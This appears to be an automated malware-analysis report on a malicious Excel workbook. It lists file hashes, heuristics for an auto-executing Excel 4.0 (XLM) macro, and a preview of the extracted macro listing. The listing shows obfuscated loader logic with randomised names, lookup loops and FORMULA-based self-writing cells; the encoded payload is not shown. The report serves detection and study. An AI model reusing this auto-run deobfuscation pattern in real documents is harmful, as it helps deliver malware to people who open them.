Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 842673e708c7dfa2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:26 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 92cb2ab7da5d692ab79cedd92119f1c4 SHA-1: dbe4e6b43cf91556bcd639d38da534d2ce44ff9c SHA-256: 842673e708c7dfa29e9fc1f2f73ac0d7cc136c1a2b2c3d85c65121f13a18ca2c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6397 bytes
SHA-256: 610d775f90efb35b85fa378e9a218910a4485c36a917ccccfecae341cc93cf1a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  lcari
' 0018     26 LABEL : Cell Value, String Constant - aOvQMGkhHkW len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D152 
' 0018     22 LABEL : Cell Value, String Constant - CUdTXRo len=0 
' 0018     27 LABEL : Cell Value, String Constant - EwEKBLaxdomi len=0 
' 0018     20 LABEL : Cell Value, String Constant - gKBUB len=0 
' 0018     23 LABEL : Cell Value, String Constant - GzocYBav len=0 
' 0018     20 LABEL : Cell Value, String Constant - hpeXW len=0 
' 0018     21 LABEL : Cell Value, String Constant - ijQcNt len=0 
' 0018     23 LABEL : Cell Value, String Constant - JOxPiENF len=0 
' 0018     24 LABEL : Cell Value, String Constant - kYkbOsZIa len=0 
' 0018     25 LABEL : Cell Value, String Constant - lwdCpmRyEx len=0 
' 0018     26 LABEL : Cell Value, String Constant - MOhMjJVAQcW len=0 
' 0018     23 LABEL : Cell Value, String Constant - NbBzrtvn len=0 
' 0018     21 LABEL : Cell Value, String Constant - OmSEjJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - RUJYvkXV len=0 
' 0018     23 LABEL : Cell Value, String Constant - tAzVQAOO len=0 
' 0018     21 LABEL : Cell Value, String Constant - TcjoiB len=0 
' 0018     20 LABEL : Cell Value, String Constant - UYmPy len=0 
' 0018     25 LABEL : Cell Value, String Constant - VYUUqRcDAo len=0 
' 0018     22 LABEL : Cell Value, String Constant - WkMMcJM len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZpGhnNNC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lcari,D53,"SET.NAME("tAzVQAOO",VALUE("0"))",""
'  lcari,D57,"SET.NAME("hpeXW",tAzVQAOO)",""
'  lcari,D61,"SET.NAME("TcjoiB",tAzVQAOO)",""
'  lcari,D66,"SET.NAME("CUdTXRo",COUNTA(GzocYBav))",""
'  lcari,D68,"SET.NAME("UYmPy",COUNTA(JOxPiENF))",""
'  lcari,D71,[],""
'  lcari,D73,"SET.NAME("RUJYvkXV","")",""
'  lcari,D78,"hpeXW",""
'  lcari,D83,"SET.NAME("ijQcNt",HLOOKUP("*",GzocYBav,hpeXW,FALSE))",""
'  lcari,D87,"lwdCpmRyEx",""
'  lcari,D91,"SET.NAME("WkMMcJM",tAzVQAOO)",""
'  lcari,D94,[],""
'  lcari,D99,"WkMMcJM",""
'  lcari,D101,"ZpGhnNNC",""
'  lcari,D104,"kYkbOsZIa",""
'  lcari,D109,"OmSEjJ",""
'  lcari,D113,"SET.NAME("MOhMjJVAQcW",VALUE(HLOOKUP("*",JOxPiENF,OmSEjJ,FALSE)))",""
'  lcari,D118,"NbBzrtvn",""
'  lcari,D121,"RUJYvkXV",""
'  lcari,D123,"TcjoiB",""
'  lcari,D128,NEXT(),""
'  lcari,D133,"aOvQMGkhHkW",""
'  lcari,D137,"SET.NAME("f",INT(T(FORMULA(T(RUJYvkXV)&"",""&T(aOvQMGkhHkW)))))",""
'  lcari,D142,"gKBUB",""
'  lcari,D144,NEXT(),""
'  lcari,D148,RETURN(),""
'  lcari,D174,"SET.NAME("EwEKBLaxdomi",D53)",""
'  lcari,D176,"GzocYBav",""
'  lcari,D180,"SET.NAME("JOxPiENF",R54C13)",""
'  lcari,D185,"SET.NAME("gKBUB",191)",""
'  lcari,D188,"SET.NAME("VYUUqRcDAo",4)",""
'  lcari,D190,EwEKBLaxdomi(),""
'  lcari,D191,HALT(),""

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